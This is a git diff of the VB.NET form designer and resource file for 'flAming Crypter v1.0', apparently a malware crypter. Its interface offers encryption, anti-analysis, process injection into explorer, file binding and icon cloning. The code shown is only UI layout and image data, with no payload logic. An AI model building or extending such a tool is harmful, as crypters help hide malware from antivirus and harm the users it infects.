New System.Drawing.Point(354, 245) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(217, 91) + Me.GroupBox2.TabIndex = 19 + Me.GroupBox2.TabStop = False + Me.GroupBox2.Text = "Encryption :" + ' + 'CheckDES + ' + Me.CheckDES.AutoSize = True + Me.CheckDES.Location = New System.Drawing.Point(120, 21) + Me.CheckDES.Name = "CheckDES" + Me.CheckDES.Size = New System.Drawing.Size(73, 17) + Me.CheckDES.TabIndex = 17 + Me.CheckDES.Text = "TripleDES" + Me.CheckDES.UseVisualStyleBackColor = True + ' + 'CheckRC4 + ' + Me.CheckRC4.AutoSize = True + Me.CheckRC4.Checked = True + Me.CheckRC4.Location = New System.Drawing.Point(17, 23) + Me.CheckRC4.Name = "CheckRC4" + Me.CheckRC4.Size = New System.Drawing.Size(46, 17) + Me.CheckRC4.TabIndex = 16 + Me.CheckRC4.TabStop = True + Me.CheckRC4.Text = "RC4" + Me.CheckRC4.UseVisualStyleBackColor = True + ' + 'GroupBox3 + ' + Me.GroupBox3.BackColor = System.Drawing.Color.Transparent + Me.GroupBox3.Controls.Add(Me.CheckBox1) + Me.GroupBox3.Controls.Add(Me.TextBytes) + Me.GroupBox3.Controls.Add(Me.CheckBytes) + Me.GroupBox3.Controls.Add(Me.TextProc) + Me.GroupBox3.Controls.Add(Me.CheckInject) + Me.GroupBox3.Controls.Add(Me.CheckAntis) + Me.GroupBox3.ForeColor = System.Drawing.Color.White + Me.GroupBox3.Location = New System.Drawing.Point(354, 109) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(334, 125) + Me.GroupBox3.TabIndex = 20 + Me.GroupBox3.TabStop = False + Me.GroupBox3.Text = "Others :" + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.Location = New System.Drawing.Point(120, 19) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(108, 17) + Me.CheckBox1.TabIndex = 5 + Me.CheckBox1.Text = "EOF (End Of File)" + Me.CheckBox1.UseVisualStyleBackColor = True + ' + 'TextBytes + ' + Me.TextBytes.Location = New System.Drawing.Point(174, 90) + Me.TextBytes.Name = "TextBytes" + Me.TextBytes.Size = New System.Drawing.Size(140, 20) + Me.TextBytes.TabIndex = 4 + Me.TextBytes.Text = "5" + ' + 'CheckBytes + ' + Me.CheckBytes.AutoSize = True + Me.CheckBytes.Location = New System.Drawing.Point(21, 92) + Me.CheckBytes.Name = "CheckBytes" + Me.CheckBytes.Size = New System.Drawing.Size(96, 17) + Me.CheckBytes.TabIndex = 3 + Me.CheckBytes.Text = "Add bytes (mb)" + Me.CheckBytes.UseVisualStyleBackColor = True + ' + 'TextProc + ' + Me.TextProc.Location = New System.Drawing.Point(174, 53) + Me.TextProc.Name = "TextProc" + Me.TextProc.Size = New System.Drawing.Size(141, 20) + Me.TextProc.TabIndex = 2 + Me.TextProc.Text = "explorer" + ' + 'CheckInject + ' + Me.CheckInject.AutoSize = True + Me.CheckInject.Location = New System.Drawing.Point(19, 56) + Me.CheckInject.Name = "CheckInject" + Me.CheckInject.Size = New System.Drawing.Size(149, 17) + Me.CheckInject.TabIndex = 1 + Me.CheckInject.Text = "Custom process injection :" + Me.CheckInject.UseVisualStyleBackColor = True + ' + 'CheckAntis + ' + Me.CheckAntis.AutoSize = True + Me.CheckAntis.Location = New System.Drawing.Point(19, 19) + Me.CheckAntis.Name = "CheckAntis" + Me.CheckAntis.Size = New System.Drawing.Size(87, 17) + Me.CheckAntis.TabIndex = 0 + Me.CheckAntis.Text = "Enable Anti's" + Me.CheckAntis.UseVisualStyleBackColor = True + ' + 'GroupBox4 + ' + Me.GroupBox4.BackColor = System.Drawing.Color.Transparent + Me.GroupBox4.Controls.Add(Me.BtnBind) + Me.GroupBox4.Controls.Add(Me.TextBind) + Me.GroupBox4.Controls.Add(Me.CheckBind) + Me.GroupBox4.Controls.Add(Me.CheckClone) + Me.GroupBox4.Controls.Add(Me.TextClone) + Me.GroupBox4.Controls.Add(Me.BtnClone) + Me.GroupBox4.Controls.Add(Me.BtnIcon) + Me.GroupBox4.Controls.Add(Me.CheckIcon) + Me.GroupBox4.Controls.Add(Me.TextIcon) + Me.GroupBox4.ForeColor = System.Drawing.Color.White + Me.GroupBox4.Location = New System.Drawing.Point(12, 109) + Me.GroupBox4.Name = "GroupBox4" + Me.GroupBox4.Size = New System.Drawing.Size(335, 227) + Me.GroupBox4.TabIndex = 21 + Me.GroupBox4.TabStop = False + Me.GroupBox4.Text = "Options :" + ' + 'BtnBind + ' + Me.BtnBind.Enabled = False + Me.BtnBind.ForeColor = System.Drawing.Color.Black + Me.BtnBind.Location = New System.Drawing.Point(272, 180) + Me.BtnBind.Name = "BtnBind" + Me.BtnBind.Size = New System.Drawing.Size(44, 19) + Me.BtnBind.TabIndex = 15 + Me.BtnBind.Text = "..." + Me.BtnBind.UseVisualStyleBackColor = True + ' + 'TextBind + ' + Me.TextBind.Location = New System.Drawing.Point(20, 179) + Me.TextBind.Name = "TextBind" + Me.TextBind.Size = New System.Drawing.Size(236, 20) + Me.TextBind.TabIndex = 14 + ' + 'CheckBind + ' + Me.CheckBind.AutoSize = True + Me.CheckBind.Location = New System.Drawing.Point(21, 156) + Me.CheckBind.Name = "CheckBind" + Me.CheckBind.Size = New System.Drawing.Size(85, 17) + Me.CheckBind.TabIndex = 13 + Me.CheckBind.Text = "Bind with file" + Me.CheckBind.UseVisualStyleBackColor = True + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(570, 83) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(12, 20) + Me.TextBox1.TabIndex = 22 + Me.TextBox1.Visible = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image) + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center + Me.ClientSize = New System.Drawing.Size(696, 347) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.GroupBox4) + Me.Controls.Add(Me.GroupBox3) + Me.Controls.Add(Me.GroupBox2) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.BtnCtypt) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.MaximumSize = New System.Drawing.Size(702, 379) + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "flAming Crypter v1.0 - Made by: flAmingw0rm" + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + Me.GroupBox2.ResumeLayout(False) + Me.GroupBox2.PerformLayout() + Me.GroupBox3.ResumeLayout(False) + Me.GroupBox3.PerformLayout() + Me.GroupBox4.ResumeLayout(False) + Me.GroupBox4.PerformLayout() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents TextFile As System.Windows.Forms.TextBox + Friend WithEvents BtnBrowse As System.Windows.Forms.Button + Friend WithEvents BtnCtypt As System.Windows.Forms.Button + Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog + Friend WithEvents CheckIcon As System.Windows.Forms.CheckBox + Friend WithEvents TextIcon As System.Windows.Forms.TextBox + Friend WithEvents BtnIcon As System.Windows.Forms.Button + Friend WithEvents CheckClone As System.Windows.Forms.CheckBox + Friend WithEvents TextClone As System.Windows.Forms.TextBox + Friend WithEvents BtnClone As System.Windows.Forms.Button + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents TextEnc As System.Windows.Forms.TextBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents CheckDES As System.Windows.Forms.RadioButton + Friend WithEvents CheckRC4 As System.Windows.Forms.RadioButton + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents CheckAntis As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox + Friend WithEvents BtnBind As System.Windows.Forms.Button + Friend WithEvents TextBind As System.Windows.Forms.TextBox + Friend WithEvents CheckBind As System.Windows.Forms.CheckBox + Friend WithEvents TextProc As System.Windows.Forms.TextBox + Friend WithEvents CheckInject As System.Windows.Forms.CheckBox + Friend WithEvents TextBytes As System.Windows.Forms.TextBox + Friend WithEvents CheckBytes As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + +End Class diff --git a/scode (MyCrypterzzz/MyCrypter/Form1.resx b/scode (MyCrypterzzz/MyCrypter/Form1.resx new file mode 100644 index 0000000..72b58d4 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form1.resx @@ -0,0 +1,1086 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg + JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy + MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAIyAx4DASIAAhEBAxEB/8QA + HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh + MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW + V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG + x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF + BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV + YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE + hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq + 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDwQbgmOSmf1oOcHJIBFGSBtydobpSN04HBoAbRThyNoHJNJjGM + 0AOGAvekLZGD16ZpAckZpcd6ABSQ3HXsaMEn8ce1K2CcgBVHGKN3VR0JzQAbSVZQeF5PPFNIIpWXDlT2 + NDEbfUk9cUAJj5AaV2LHmjPyYyevSmk570ALuJ6kntTe9OI545p4XcoATJ/vCgCKg8UvTrQQQcHHFACD + rTgRg8ZJHekJBJOMUE5x7UAKHOCMCkzjPelwAmcnPGKb1oAKB1oGMjPSlJGTjpQA8OPL2EAc53Y5pnTI + pVwAc9ccUmMHrQAo5oY5Yk459KaT2oAzQApYtTl2rywyewpNuOpp6JubOQAOrHoKAEZnc8/hjoKApIG4 + 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 + 